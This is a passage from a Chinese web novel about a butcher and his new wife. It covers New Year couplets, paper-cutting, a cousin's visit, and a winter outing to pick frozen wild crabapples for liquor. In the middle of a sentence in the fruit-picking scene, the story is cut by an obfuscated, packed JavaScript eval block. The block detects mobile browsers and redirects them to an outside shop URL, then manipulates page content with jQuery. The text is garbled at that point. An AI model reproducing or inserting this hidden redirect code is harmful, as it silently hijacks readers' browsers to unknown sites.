“胡大婶子走了？”陆织姜问，把一根猪骨头放在另一个干净的案板边。
“嗯，走了。”元如意没抬头，说。
“哦。”陆织姜应了一声，走到一旁的水缸边舀水洗手，冰凉的水哗啦啦冲在他手上，他的手掌很是粗糙，可手指骨节确很分明，有些地方有细小的旧伤疤，还有冻出来的红痕。
他洗得很仔细，打了两遍皂角。
“胡大婶子说，快过年了，问咱们家要不要也请人写副对子。”
陆织姜正用布巾擦手，闻言动作顿了一下：“对子？行。”
之后，陆织姜收了铺子，两人回家路上，陆织姜问她：“你想贴？”
“我都行。”
陆织姜：“村西头的黄童生是专门写对子的，到时，我去找他看看，能不能帮我们写。”
元如意点点头，这事说定了，她又想起件事，说：“对了，胡大婶子还说，过两天她家磨豆腐，问我们要不要拿些豆子过去一起磨，或者换点豆腐回来。”
“黄豆还有些，我就明天我装点给你，你拿过去换。”陆织姜说。
她看着陆织姜把搅完粥的锅铲放好，走到放骨头的案板前，拿起那把厚背的砍刀，比划了一下，似乎在琢磨怎么处理那几根大骨棒。
“这骨头……熬汤？”她问。
“嗯，熬汤，汤可以下面条，煮白菜，都行。”
陆织姜说着，把一根大骨棒放在案板中央，举起刀，想了想又放下。
“今天太晚了，明天再弄。先炖排骨。”
浮起来的沫子仔细撇掉，然后把焯过水的排骨捞出来，用温水冲洗干净，而后，另一口小点的陶罐里加了水，放进排骨，又扔了两段葱白，几片姜，盖上了盖子，搁在灶眼边上，用小火慢慢煨着。
吃饭的时候，一盏油灯放在桌子中间，饭已经端上来，一小盆热气腾腾的排骨汤，汤熬得奶白奶白的，上面飘着几点金黄的油星，几块排骨躺在里面，看着就十足酥烂。
陆织姜先给元如意盛了一碗汤，放在她面前：“小心烫。”
元如意接过来，捧起碗，小口小口地喝汤，汤很鲜，咸淡也合适，一直暖到胃里，她夹了一块排骨，肉已经炖得脱骨，轻轻一抿就下来了，香味十足。
“好喝。”她说。
今早，陆织姜直接去了趟镇上，下午回来时，手里除了惯常带的肉和杂物，还多了一小包灶糖，还有一卷红纸，一小瓶墨汁。
他把红纸和墨汁放在桌上：“对子，黄童生那儿人太多，我只买了纸墨来，可能等几日了，可惜，我是个屠户，不识几个字。”
元如意：“我会写，只是写得不好，凑合能看而已。”
他为她找来一支秃头的笔，裁好红纸，在堂屋的方桌上铺开，元如意便在旁边看着，看他研好了墨，然后她就用笔蘸饱了墨汁，笔尖落下，手腕用力，一个饱满的福字出现在红纸上。
她的字不算多么漂亮，但笔画方正，结构稳当，元如意一笔一画地写，写得很慢，很认真。
写完了上下联，元如意放下了笔，轻轻吹了吹未干的墨迹，然后拿起自己写的那副对子，她左右看了看，似乎还算比较满意。
“你的字可真好看，那等墨干了，明天贴。”他说。
后来，元如意剪好了几个福字和梅花，摊开来看看，她拿起一张金纸，想剪点更复杂的窗花，比如鲤鱼或者喜鹊。
剪了几下，总觉得线条不够流畅。一抬头，看见陆织姜手里拿着裁纸的小刀，动作稳当利落。
陆织姜：“我手上的工夫还是可以的。”
元如意：“你能不能用刀，帮我在金纸上划出点花样？我照着剪，怕剪坏了。”
毕竟，金纸可要比红纸贵。
元如意把金纸和剪刀递过去，陆织姜没接剪刀，只拿了金纸，对折，然后拿起一把小刀，用刀尖在金纸折叠的边缘，轻盈地划着。
不足片刻，便将折好的金纸递还给她，她小心地展开。
金色的纸上，出现了一道道流畅而精致的镂空线条，对称地组成了一对首尾相连的鲤鱼，围绕着一朵莲花的图案，栩栩如生，真是喜庆极了。
出了正月，年味儿还没彻底散，先是来了陆织姜的一位堂姐，堂姐陆袖云要带着孩子回娘家省亲，路过村子，特意捎信说要来弟弟家坐坐，住上一两晚。
这堂姐陆袖云比陆织姜大五六岁，早年丧母，父亲续弦后在家境况不好，十六七岁就嫁去了邻县一个做小买卖的人家，陆织姜对她印象不深，只记得她嫁得远，这些年几乎没什么走动。
陆袖云约莫三十出头年纪，面容依稀能看出年轻时清秀的影子，她穿一身枣红袄裙，头发插着根银簪，一手牵着个七八岁虎头虎脑的男孩，一手抱着个两三岁、正吮着手指的女娃。
也就她平时对自己这位堂弟上点心，新婚没来，自然是要在这时候看一眼，来往一下，不过因为孩子闹，也没能说上几句话，彼此就互相送点年货啥的，瞧瞧他的新娘子，对元如意说的最多的话题，无非就是赶紧生娃，元如意也就客套了两句，后续再没下文，两天后，果然她带着自家孩子离开了。
入了冬，柳树村的河面终于结了一层白色的冰。
菜地的青菜早就采摘一空了，后院的猪每日就在圈里懒洋洋地哼着，鸡也缩在加了厚草的窝里，不怎么爱动弹。
这天早上，难得的出了太阳，暖融融地照在雪地上。
陆织姜从铺子后头的小间出来，手里拿着个不大不小的竹篓，还有两把短柄的小镐头。
他把一把镐头靠在门边，对正在灶台边盛粥的元如意说：“今天没什么要紧事，村子后山向阳那片坡上的榛子林边上，我记得有片野山丁子，这时候果子该冻透了，我们去摘点回来？”
元如意把粥碗放在桌上，擦了擦手，看向他：“山丁子？那种小红果子？酸得很吧？”
她记忆里好像有这种灌木，果子又小又硬，秋天时尝过一颗，涩得她直咧嘴。
陆织姜坐下，端起碗道：“冻过的那就不一样了，冬天的寒气把涩味拔了，剩下的就是一股子干净的甜酸，泡水喝，或者拌点糖蒸了，开胃，想去看看吗？雪后山路滑，得走慢点。”
元如意这些时候，就整天待在家里和铺子之间，确实有些闷。
能出去走走，听起来不错。
“好啊，要带什么？”
“穿厚点，靴子绑紧，带上手套。”陆织姜说着，几口把粥喝完，继续说，“竹篓我拿，你再带个厚点的包袱皮，万一摘多了能兜着。”
两人很快收拾妥当，元如意穿了最厚的棉裤棉袄，外面套了陆织姜一件更宽大的旧羊皮坎肩，头上包了厚布巾，只露出一双眼睛，陆织姜也是利落的打扮，深蓝色棉裤扎进牛皮靴筒里，上身是上回布店里新做的厚棉袄，外面罩了件挡风的深色粗布外衣，他背上竹篓，手里拿着两把小镐头，元如意则挎了个小布包，里面装着水囊和一点干粮。
之后，两人便出了门，沿着村西头的小路往后山走，雪后的山路确实不好走，积雪掩盖了坑洼和碎石，一脚踩下去，深浅不知。
陆织姜走在前头，每一步都踩得实，留下清晰的脚印，而元如意就踩着他的脚印，一步一步跟着，欢福也想跟来，被陆织姜低声喝住了，欢福它只得委屈地趴在院门口看着他们走远。
离了村子，人迹更少了，山路两旁的树木叶子早就落光了，上面挂着毛茸茸的雪挂，偶尔有风吹过，便扑簌簌掉下一团雪沫，空气清冽冷硬，吸进肺里，带着枯木的味道。
走了约莫小半个时辰，拐过一个山坳，眼前景色豁然开朗，这是一片朝南的缓坡，坡度不大，积雪比别处薄些，露出底下枯黄的草梗和裸露的灰褐色岩石，坡上稀疏地长着些低矮的灌木丛，更多的是一片挺直的黑松林，松针苍绿，托着白雪。
“就是这儿。”陆织姜停下脚步，指了指松林边缘那一丛丛枝条虬结的灌木。
那些灌木的叶子早就落光了，深褐色的细枝上，却密密麻麻缀满了无数小珠子似的果实。
果子不大，比豌豆稍大些，圆溜溜的，颜色是一种被风干冻透了的深红色，它表皮皱皱的，裹着一层白霜，沉沉地压在枝头。
“这么多！”元如意有些惊喜地走近。
她凑近了看，那些小果子在阳光下透出一点深红的光泽，的确诱人。她伸手想摘一颗，陆织姜拦住了。
他把自己的皮手套脱下一只递给她，特意交代：“得戴手套，枝子上有细刺，冻硬了，扎手，果子也冻得结实，直接掰，别拧。”
元如意戴上他那只还带着体温的皮手套，她小心地避开枝条上那些不起眼的小刺，捏住一颗果子，轻轻一掰，果子居然真的咔一声轻响就下来了，硬邦邦的，像颗小石头。
她放进嘴里，用牙齿轻轻磕开冰冻的外壳，一股酸味瞬间在口腔里炸开，激得她打了个哆嗦，但紧接着，那酸味后面，有一丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039484|194676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
非常纯粹的甜意，还有一种山野果子凛冽的清香味儿。
她吐掉籽：“嗯！酸，很酸，但酸过后是甜味儿的。”
陆织姜看她那被酸得皱了一下又舒展开的表情，嘴角似乎弯了一下。
“摘吧，就挑颜色深的，硬的。”
他放下竹篓，拿出小镐头，开始清理一丛灌木根部的积雪和杂草，好让他们能站得更稳当些。
之后，陆织姜负责清理和压低那些较高的枝条，元如意则负责摘果子，她的动作一开始有些慢，怕被刺扎到，也怕把果子捏碎了，很快她就找到了窍门，用戴着手套的拇指和食指捏住果子的蒂部，轻轻一掐就下来了。
“你小时候常来摘这个？”元如意一边摘，一边问。
“嗯，开春时也来，摘嫩芽，烫了拌菜吃，不过这里夏天叶子密，不好进，秋天果子刚红，就得等这时候，下过几场霜雪，最好再冻上几天，味道才正。”
“镇子上好像没人卖这个。”
“因为不值多少钱，费很大的工夫摘，摘不了多少，还扎手，所以他们就自家摘点当零嘴，或者泡酒。”
陆织姜说着，看了她一眼，说：“要是你喜欢，以后每年这时候都来。”
“好。”元如意应着。
摘了一会儿，竹篓底已经铺了浅浅一层深红色的小果子。
元如意直起腰，赶紧活动了一下有些酸疼的脖子和肩膀，陆织姜见状，他也停了手，从怀里掏出水囊递给她，水囊外面包了层旧棉套，水倒出来还是温的。
“累了就歇会儿。”
元如意接过，喝了几口，温水下肚，直接驱散了寒意。她找了块干爽的大石头坐下，陆织姜也走过来，挨着她坐下，两人却没靠太近。
“这山看着不高，里面东西多吗？”
“春天有野菜，到了夏天蘑菇多，还有野莓，秋天野栗子和核桃，冬天，就这些耐冻的野果子，还有扒开雪能找到的冬笋。”
“哦。”
他顿了顿，说：“也有兽，什么獐子，野兔，狐狸，冬天饿急了，偶尔也有野猪下山。”
“你怎么这么清楚啊？难道你还打过猎？”
“跟镇上的老猎人学过几年，会用弓箭和陷阱，后来就开了铺子，不做猎户了，进山的时候就少了，打猎看运气，不如养猪那么踏实。”
她看着竹篓里的山丁子，忽然想起个问题：“这果子摘回去，就直接吃？还是像你说的，要泡一下？”
“泡一下更好，用凉开水，加点盐，泡上一两个时辰，把最后那点涩味彻底祛除掉了后，再捞出来晾干，拌上一点点蜂蜜或者糖，上锅蒸一刻钟。要是蒸软了，糖沁进去，味道就更厚了，也能泡酒，洗干净晾好，放进坛子里，加冰糖，倒白酒，封好口，放上几个月，就是山丁子酒，冬天喝一小盅，暖身子。”
“那我们回去就试试，先泡一些，蒸了尝尝，剩下的再泡酒？”她看向陆织姜，说。
“好，地窖里有去年剩下的半坛高粱酒，正好。冰糖家里也有。”
“那就泡酒，泡多久能喝？”
“至少三个月，等开春，天暖了，差不多就能喝了。”陆织姜说着，站起身，“差不多了，再摘点就回，现下太阳偏西了我们得回了，山里冷得快。”
两人又摘了小半个时辰，竹篓里的果子多了不少，沉甸甸的，陆织姜把竹篓背上肩，手里依旧拿着镐头，元如意跟在他身后，沿着来时的脚印往回走。
回到小院，天色已经开始渐渐暗了下来。
吃了简单的晚饭，元如意则打来干净的凉开水，按照陆织姜说的，加了点盐化开，把山丁子倒进去浸泡，冻得硬邦邦的果子在盐水里慢慢软化，颜色似乎也更亮了些。
陆织姜从地窖里搬出那个不大的酒坛，又找出一小包冰糖，他把坛子里里外外擦洗干净，放在堂屋桌上晾着，等元如意把泡好的山丁子捞出来，在干净的细竹匾上摊开晾着表皮的水分，他便开始一层果子、一层冰糖地往坛子里码放。
男人的动作不紧不慢，码得很均匀。
他低垂着眼，粗大的手指捏着小小的冰糖块和红果子。
坛子渐渐满了，最后，他抱起那半坛清亮的高粱酒，缓缓地倒了进去，直到酒液完全没过最上层的冰糖和果子，然后拿起早就准备好的、蒙着细棉布和油纸的坛盖，仔细地封好口，用绳子直接给扎紧了。
他拍了拍坛子，把它搬到堂屋角落阴凉通风的地方放着了。